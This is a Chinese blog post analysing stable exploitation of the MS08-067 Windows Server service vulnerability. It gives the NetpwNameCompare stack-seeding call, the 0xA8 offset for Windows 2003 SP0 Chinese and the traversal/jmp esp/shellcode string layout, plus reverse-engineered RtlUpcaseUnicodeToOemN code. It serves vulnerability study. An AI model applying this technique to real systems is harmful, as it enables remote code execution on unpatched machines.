文章作者:LittleWallE
(http://blog.csdn.net/littlewalle)
MS08-067的问题出在一个格式化路径的函数上,暂命名为ConvertPathMacros,它的工作就是去掉路径中的.\和..\, 例如传入路径为:”\A\B\.\C\..\D\..\..\E”,则经过它的处理后会变成”\A\E”,
MS08067 稳定利用方法
。如果给出一个恶意路径,例如”\A\..\..\..\E”,则它会越过目录A去寻找上层目录,从而造成错误的发生。这个漏洞的原理在很多文章中都解释的非常详细了,但是关于漏洞利用的文章却比较少(可能是我没找到),也没有文章描写如何找到栈上的那个关键的反斜杠。参考了其他高手写的exploit和自己的分析,总结了下稳定利用的方法:
为了利用该漏洞,必须使漏洞函数调用之前执行另一个函数,是栈上残留数据。这个函数我参考了一个高手(EMM@ph4nt0m.org)写的exploit,选择了NetpwNameCompare。
跟踪NetpwNameCompare后发现,该函数最后会调用RtlUpcaseUnicodeToOemN函数向缓冲区写入大量信息,而这些信息最终会残留在栈中,最后留给漏洞函数。
分析源代码,知道了如果参数中含有如下的字符时,会在缓冲区中留下一个反斜杠。
0x2010,0x2011,0x2012,0x2558,0x4e57,0x4fd3,0x50dc,0x5213,0x533c,0x54f1,0x5630,0x573d,0x5861...........
另外要注意这个反斜杠必须是个UNICODE的反斜杠,即”\x5c\x00”,反斜杠后面的必须跟一个”\x00”,这个”\x00”用字符串的0结尾来代替即可。在字符串在前面加上一个ASCII字符的UNICODE,如"\x4c\x00",以"\x4c\x00\x10\x20"入参,则在栈上得到的结果为"\x4c\xXX\x5c\x00",正好包含一个UNICODE反斜杠。
最后,以如下的参数来调用NetpwNameCompare
NetpwNameCompare(L"LittleWallE",(wchar_t *)"\x4c\x00\x10\x20",(wchar_t *)"\x4D\x00\x10\x20",4,0);
就可以在栈上稳定的留下一个反斜杠,在windows2003 sp0 中文版上,这个反斜杠距离溢出位置为0xA8.
即构造字符串.\\x\..\..\(0xA8个无用字符)(jmp esp)(ShellCode),即可稳定利用该漏洞。
附上RtlUpcaseUnicodeToOemN的逆向代码: 复制内容到剪贴板
代码:
#define BYTE_HIGH(var) ((var&0xf0)>>4)
#define BYTE_LOW(var) (var&0xf)
#define WORD_HIGH(var) ((var&0xff00)>>8)
#define WORD_LOW(var) (var&0xff)
#define DWORD_HIGH(var) ((var&0xffff0000)>>16)
#define DWORD_LOW(var) (var&0xffff)
/**********************************************************************
*function:将argc_SrcBuffer的字符逐个进行编码表转换后放入栈上的缓冲区中
*author: LittleWallE#yahoo.cn
***********************************************************************/
RtlUpcaseUnicodeToOemN(char * arg0_DstBuffer, //栈上的缓冲区
int arg4_DstBufferLength, //栈上的缓冲区长度
int * arg8_NoUse,
WCHAR *argc_SrcBuffer, //入参
int arg10_SrcBufferLength //入参长度)
{
char *MatrixA;//mark:dword_7c9b8e94=,一个表格,内容是0000 0100 0200 0300..一直继续下去,可能是某种编码表
char *MatrixB;//mark:dword_7C9B8A04 另一个编码表。
char *MatrixUnknownA;//mark:word_7c9b8c90; 映射区域,不确定其功能;
char *MatrixUnknownB;//mark:dword_7C9B8E90;映射区域,不确定其功能;
char *MatrixUnknownC;//mark:dword_7C9B779C;映射区域,不确定功能;
int var_8_SrcRealLength=arg10_SrcBufferLength/2;
if(var_8_SrcRealLength==0)
return 0;
while(1)
{
if(arg4_DstBufferLength==0)
break;
WCHAR wcSrcChar_1=*argc_SrcBuffer;
argc_SrcBuffer++;
WCHAR wcSrcChar_2=MatrixA[wcSrcChar_1*2];
wcSrcChar_2_high=WORD_HIGH(wcSrcChar_2);
wcSrcChar_2_high=MatrixUnknownB[wcSrcChar_2_high*2];
wcSrcChar_2_low=WORD_LOW(wcSrcChar_2);
WCHAR wcSrcChar_3;
if(wcSrcChar_2_high==0)
{
wcSrcChar_3=MatrixB[wcSrcChar_2_low*2];
}else
{
int index=wcSrcChar_2_high+wcSrcChar_2_low;
wcSrcChar_3=MatrixUnknownB[index*2];
}
if(wcSrcChar_3>='a'&&wcSrcChar_3<='z')
{
wcSrcChar_3+=0x0ffe0;
}else{
char wcSrcChar_3_high=WORD_HIGH(wcSrcChar_3);
wcSrcChar_3_high=MatrixUnknownC[wcSrcChar_3_high*2];
char wcSrcChar_3_byte_high=BYTE_HIGH(wcSrcChar_3);
wcSrcChar_3_high+=wcSrcChar_3_byte_high;
wcSrcChar_3_high=MatrixUnknownC[wcSrcChar_3_high*2];
char wcSrcChar_3_byte_low=BYTE_LOW(wcSrcChar_3);
wcSrcChar_3_high+=wcSrcChar_3_byte_low;
wcSrcChar_3+=wcSrcChar_3_high;
}//上面这段类似不可逆的加密算法
WCHAR wcSrcChar_4=MatrixA[wcSrcChar_3*2];
char wcSrcChar_4_high=WORD_HIGH(wcSrcChar_4);
char wcSrcChar_4_low=WORD_LOW(wcSrcChar_4);
if(wcSrcChar_4_high!=0)
{
if(arg4_DstBufferLength<2)
break;
*arg0_DstBuffer=wcSrcChar_4_high; //这里写入栈上的缓冲区
arg0_DstBuffer++;
arg4_DstBufferLength--;
}
*arg0_DstBuffer=wcSrcChar_4_low; //这里写入栈上的缓冲区
arg0_DstBuffer++;
arg4_DstBufferLength--;
var_8_SrcRealLength--
if(arg4_DstBufferLength==0||var_8_SrcRealLength==0)
break;
}
}